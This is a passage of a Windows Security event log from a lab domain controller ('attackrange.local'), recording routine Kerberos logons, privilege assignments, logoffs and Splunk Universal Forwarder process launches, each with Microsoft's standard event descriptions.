event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:47:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256794 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x45FFAB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:47:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256793 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x45FF62 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:47:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256792 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x45FF62 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:47:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256791 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x45FE54 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 49236 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:47:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256790 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x45FE54 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:47:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256789 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1120 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:47:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256801 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:47:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256802 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:47:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256803 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1228 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:47:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256804 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x460020 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:47:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256807 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x462129 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:47:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256806 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x462129 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 49249 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:47:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256805 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x462129 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:48:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256809 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb5c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:48:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256808 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x35c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:48:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256810 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc58 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:48:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256811 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x132c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:48:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256812 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10e0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:48:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256813 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x938 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:48:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256814 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1248 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:48:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256817 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4656A3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:48:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256816 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4656A3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 49263 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:48:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256815 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4656A3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:49:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256819 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x111c - New Process Name: C:\Program 